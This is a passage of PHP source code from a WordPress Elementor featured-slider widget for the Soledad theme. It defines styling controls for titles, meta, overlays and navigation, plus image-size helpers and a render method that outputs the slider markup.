				'{{WRAPPER}} h3.title-part a:hover'       => 'color: {{VALUE}};',
			)
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .feat-text h3 a,{{WRAPPER}} .feat-text-right h3 a,{{WRAPPER}} h3.title-part' 		 	   => 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .feat-text h3 a:hover,{{WRAPPER}} .feat-text-right h3 a:hover,{{WRAPPER}} h3.title-part'  => 'background-size: 100% 1px;',
			),
		) );
		
		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .feat-text h3 a,{{WRAPPER}} .feat-text-right h3 a,{{WRAPPER}} h3.title-part' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typography',
			'selector' => '{{WRAPPER}} .feat-text h3, {{WRAPPER}} .feat-text h3 a,{{WRAPPER}} .feat-text-right h3, {{WRAPPER}} .feat-text-right h3 a, {{WRAPPER}} h3.title-part'
		) );
		$this->add_responsive_control( 'bptitle_size', array(
			'label'     => __( 'Font size for Big Post', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .featured-area .penci-pitem-big .feat-text h3,{{WRAPPER}} .featured-area .penci-pitem-big .feat-text h3 a' => 'font-size: {{SIZE}}px'
			),
			'condition' => array( 'style' => $style_big_post ),
		) );

		$this->add_control( 'heading_pcat_style', array(
			'label' => __( 'Category', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'pcat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .feat-text .featured-cat a,{{WRAPPER}} .featured-style-35 .featured-cat a,{{WRAPPER}} .featured-cat a' => 'color: {{VALUE}};' )
		) );
		$this->add_control( 'pcat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .feat-text .featured-cat a:hover,{{WRAPPER}} .featured-style-35 .featured-cat a:hover, {{WRAPPER}} .featured-cat a:hover' => 'color: {{VALUE}};' )
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcat_typo',
			'selector' => '{{WRAPPER}} .feat-text .featured-cat a,{{WRAPPER}} {{WRAPPER}} .featured-style-35 .featured-cat a, {{WRAPPER}} .featured-cat a'
		) );

		$this->add_control( 'heading_meta_style', array(
			'label'     => __( 'Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before'
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text .feat-meta span,{{WRAPPER}} .feat-text .feat-meta a'                                                                                                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .featured-content-excerpt .feat-meta span,{{WRAPPER}} .featured-content-excerpt .feat-meta span a,{{WRAPPER}} .penci-fslider-fmeta, {{WRAPPER}} .penci-fslider-fmeta a' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-fslider-fmeta, {{WRAPPER}} .penci-featured-content .feat-text .feat-meta span, {{WRAPPER}} .penci-featured-content .feat-text .feat-meta span a'                 => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'meta_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .feat-text .feat-meta a:hover,{{WRAPPER}} .penci-fslider-fmeta a:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .featured-content-excerpt .feat-meta span a:hover'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-featured-content .feat-text .feat-meta span a:hover'             => 'color: {{VALUE}};',
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typography',
			'selector' => '{{WRAPPER}} .feat-text .feat-meta span,{{WRAPPER}} .feat-text .feat-meta a,{{WRAPPER}} .featured-content-excerpt .feat-meta span,{{WRAPPER}} .featured-content-excerpt .feat-meta span a, {{WRAPPER}} .penci-featured-content .feat-text .feat-meta span a'
		) );

		$this->add_control( 'heading_excerpt_style', array(
			'label'     => __( 'Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .featured-content-excerpt p,{{WRAPPER}} .featured-slider-excerpt p' => 'color: {{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typography',
			'selector'  => '{{WRAPPER}} .featured-content-excerpt p,{{WRAPPER}} .featured-slider-excerpt p',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'heading_readmore_style', array(
			'label'     => __( 'Read More', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'read_more_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button a' => 'color: {{VALUE}};border-color:{{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_control( 'read_more_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button a:hover' => 'color: {{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );
		$this->add_control( 'read_more_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button a:hover' => 'border-color: {{VALUE}};background-color: {{VALUE}};' ),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'read_more_typography',
			'selector'  => '{{WRAPPER}} .penci-featured-slider-button a',
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );

		/* Small Title */

		$this->add_control( 'heading_stitle_style', array(
			'label'     => __( 'Small Thumbnail', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => array( 'style-40' ) )
		) );

		$this->add_control( 'stitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .slider-40-wrapper .nav-thumb-creative .thumb-container:after' => 'background: {{VALUE}};',
			),
			'condition' => array( 'style' => array( 'style-40' ) )
		) );

		// Small Posts

		$this->add_control( 'smallpost_heading', array(
			'label'     => __( 'Thumb Posts', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => array( 'style-41', 'style-42', 'style-44' ) )
		) );

		$this->add_responsive_control( 'smallpost_thumbsize', array(
			'label'     => __( 'Thumbnail Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'default'   => array( 'size' => '' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-t-item .pcslider-41-img' => 'flex: 0 0 {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-slider44-t-item .pcslider-44-img' => 'flex: 0 0 {{SIZE}}{{UNIT}}',
			),
			'condition' => array( 'style' => array( 'style-41', 'style-44' ) )
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'smallpost_typo',
			'selector'  => '{{WRAPPER}} .penci-slider41-t-item .pcslider-41-ct h3, {{WRAPPER}} .pcslider-42-ct h3, {{WRAPPER}} .penci-slider44-t-item h3',
			'condition' => array( 'style' => array( 'style-41', 'style-42', 'style-44' ) )
		) );

		$this->add_control( 'smallpost_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-t-item .pcslider-41-ct h3' => 'color: {{VALUE}}',
				'{{WRAPPER}} .pcslider-42-ct h3'                        => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-slider44-t-item h3'                 => 'color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41', 'style-42' ) )
		) );

		$this->add_control( 'smallpost_acolor', array(
			'label'     => __( 'Title Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .swiper-slide-thumb-active .penci-slider41-t-item h3' => 'color: {{VALUE}}',
				'{{WRAPPER}} .swiper-slide-thumb-active .pcslider-42-ct h3'        => 'color: {{VALUE}}',
				'{{WRAPPER}} .swiper-slide-thumb-active .penci-slider44-t-item h3' => 'color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41', 'style-42', 'style-44' ) )
		) );

		$this->add_control( 'smallpost_bgcolor', array(
			'label'     => __( 'General Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-thumb-wrapper' => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41' ) )
		) );

		$this->add_control( 'smallpost_bdcolor', array(
			'label'     => __( 'General Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-slider41-thumb-wrapper' => '--pcborder-cl: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-41' ) )
		) );

		$this->add_control( 'smallpost_ibgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .pcslider-42-ct'               => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-slider44-t-item:before' => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-42', 'style-44' ) )
		) );

		$this->add_control( 'smallpost_ibgacolor', array(
			'label'     => __( 'Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .swiper-slide-thumb-active .pcslider-42-ct'               => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .swiper-slide-thumb-active .penci-slider44-t-item:before' => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-42', 'style-44' ) )
		) );

		$this->add_responsive_control( 'smallpost_ibpadding', array(
			'label'     => __( 'Custom Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} .pcslider-42-ct'        => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-slider44-t-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition' => array( 'style' => array( 'style-42', 'style-44' ) )
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_overlay', array(
			'label' => __( 'Overlay Background', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'overlay_bgcolor', array(
			'label'     => __( 'Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .featured-style-1 .penci-featured-content .featured-slider-overlay' => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .featured-style-2 .penci-featured-content .featured-slider-overlay' => 'background-color: {{VALUE}}',
				'{{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content'               => 'background-color: {{VALUE}}',
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2', 'style-44' ) ),
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'        => 'ft_o_bgcolor',
			'label'       => __( 'Overlay Background Color', 'soledad' ),
			'types'       => array( 'classic', 'gradient' ),
			'selector'    => '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content',
			'label_block' => true,
			'separator'   => 'before'
		) );

		$this->add_control( 'ft_o_bgopacity', array(
			'label'     => __( 'Overlay Background Opacity', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 1, 'step' => 0.1 ) ),
			'condition' => array( 'style!' => 'style-44' ),
			'selectors' => array( '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-44-item .thumbnail .dark-overlay, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before' => 'opacity: calc( {{SIZE}} / 100 )' ),
		) );

		$this->add_control( 'ft_o_bghopacity', array(
			'label'     => __( 'Hover Overlay Background Opacity', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 1, 'step' => 0.1 ) ),
			'condition' => array( 'style!' => 'style-44' ),
			'selectors' => array( '{{WRAPPER}} .penci-item-mag:hover .penci-slide-overlay .overlay-link, {{WRAPPER}} .featured-style-38 .item:hover .penci-slider38-overlay, {{WRAPPER}} .penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative:hover .img-container:before' => 'opacity: calc( {{SIZE}} / 100 )' ),
		) );

		$this->add_responsive_control( 'ft_o_bdradius', array(
			'label'      => __( 'Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};-webkit-border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'style!' => 'style-44' )
		));

		$this->add_control( 'ft_o_border', array(
			'label'     => __( 'Border', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content' => 'border: 1px solid {{VALUE}};' ),
			'condition' => array( 'style!' => 'style-44' )
		));

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'      => 'ft_o_boxshadow',
				'selector'  => '{{WRAPPER}} .penci-featured-content .featured-slider-overlay,{{WRAPPER}} .penci-featured-content-right:before,{{WRAPPER}} .penci-slide-overlay .overlay-link, {{WRAPPER}} .slider-40-wrapper .list-slider-creative .item-slider-creative .img-container:before, {{WRAPPER}} .penci-slider44-main-wrapper .penci-featured-content',
				'condition' => array( 'style!' => 'style-44' )
			]
		);

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_sliderdosnav', array(
			'label' => __( 'Slider Controls', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'showdots!' => '' ]
		) );

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .swiper-container .progress' => 'background-color: {{VALUE}};' ),
			'condition' => [ 'showdots!' => '' ]
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
			'condition' => [ 'showdots!' => '' ]
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'showdots!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
			'condition' => [ 'showdots!' => '' ],
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
			'condition' => [ 'showdots!' => '' ],
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'shownav!' => '' ],
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => [ 'shownav!' => '' ],
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'shownav!' => '' ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'shownav!' => '' ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'condition' => [ 'shownav!' => '' ],
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->end_controls_section();

		$this->register_penci_bookmark_style_groups();

		$this->register_paywall_premium_heading_style_groups();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$original_postype = $settings['posts_post_type'];
		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Module::get_query_args( 'posts', $settings );

		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}

			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}

		$feat_query = new \WP_Query( $query_args );

		if ( ! $feat_query->have_posts() ) {
			echo self::show_missing_settings( 'Featured Slider', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
		}

		$slider_style = $settings['style'] ? $settings['style'] : 'style-1';

		$slider_class = $this->get_class_slider( $settings );

		$disable_lazyload    = $settings['disable_lazyload_slider'];
		$slider_title_length = $settings['title_length'] ? $settings['title_length'] : 12;
		$center_box          = $settings['center_box'];
		$meta_date_hide      = $settings['meta_date_hide'];
		$show_viewscount     = $settings['show_viewscount'];
		$hide_categories     = $settings['hide_categories'];
		$show_cat            = $settings['show_cat'];
		$hide_meta_comment   = $settings['hide_meta_comment'];
		$show_meta_author    = $settings['show_meta_author'];
		$hide_meta_excerpt   = $settings['hide_meta_excerpt'];
		$hide_format_icons   = $settings['hide_format_icons'];

		$post_thumb_size        = $settings['post_thumb_size'];
		$bpost_thumb_size       = $settings['bpost_thumb_size'];
		$post_thumb_size_mobile = $settings['post_thumb_size_mobile'];
		$cs_vertical_align      = $settings['cs_vertical_align'] && $settings['cs_vertical_align'] ? ' vertical-align-' . $settings['cs_vertical_align'] : '';
		$cs_horizontal_align    = $settings['cs_horizontal_align'] && $settings['cs_horizontal_align'] ? ' horizontal-align-' . $settings['cs_horizontal_align'] : '';
		$cs_text_align          = $settings['cs_text_align'] && $settings['cs_text_align'] ? ' text-align-' . $settings['cs_text_align'] : '';
		$wrapper_css            = isset( $settings['paywall_heading_text_style'] ) ? ' pencipw-hd-' . $settings['paywall_heading_text_style'] : '';

		$slider_lib = 'penci-owl-featured-area';

		$slider_lib .= ' elsl-' . $slider_style;

		$swiper = true;

		if ( $slider_style == 'style-40' ) {
			wp_enqueue_script( 'ff40' );
			wp_enqueue_script( 'gsap' );
			$slider_lib .= ' no-df-swiper';
			$swiper     = false;
		}

		if ( $slider_style == 'style-41' || $slider_style == 'style-42' || $slider_style == 'style-44' ) {
			$slider_lib .= ' no-df-swiper';
			$swiper     = false;
		}

		if ( $swiper ) {
			$slider_lib .= ' swiper penci-owl-carousel';
		}


		echo '<div class="penci-block-el featured-area featured-' . $slider_class . $cs_vertical_align . $cs_horizontal_align . $cs_text_align . $wrapper_css . '">';
		if ( $slider_style == 'style-37' ):
			echo '<div class="penci-featured-items-left">';
		endif;
		echo '<div class="' . $slider_lib . ' pcfg-slide-' . $this->get_id() . ' elsl-' . $slider_class . '"' . $this->get_slider_data( $settings ) . '>';
		if ( $swiper ) {
			if ( $settings['shownav'] ) {
				echo '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>';
			}
			echo '<div class="swiper-wrapper">';
		}
		include dirname( __FILE__ ) . "/{$slider_style}.php";
		if ( $swiper && $slider_style != 'style-37' ) {
			echo '</div>';
		}
		echo '</div>';
		echo '</div>';
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( is_user_logged_in() ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function get_class_slider( $settings ) {
		$slider_style = $settings['style'] ? $settings['style'] : 'style-1';

		$slider_class = $slider_style;
		if ( $slider_style == 'style-5' ) {
			$slider_class = 'style-4 style-5';
		} elseif ( $slider_style == 'style-30' ) {
			$slider_class = 'style-29 style-30';
		} elseif ( $slider_style == 'style-36' ) {
			$slider_class = 'style-35 style-36';
		}

		if ( $settings['enable_flat_overlay'] && in_array( $slider_style, array(
				'style-6',
				'style-7',
				'style-8',
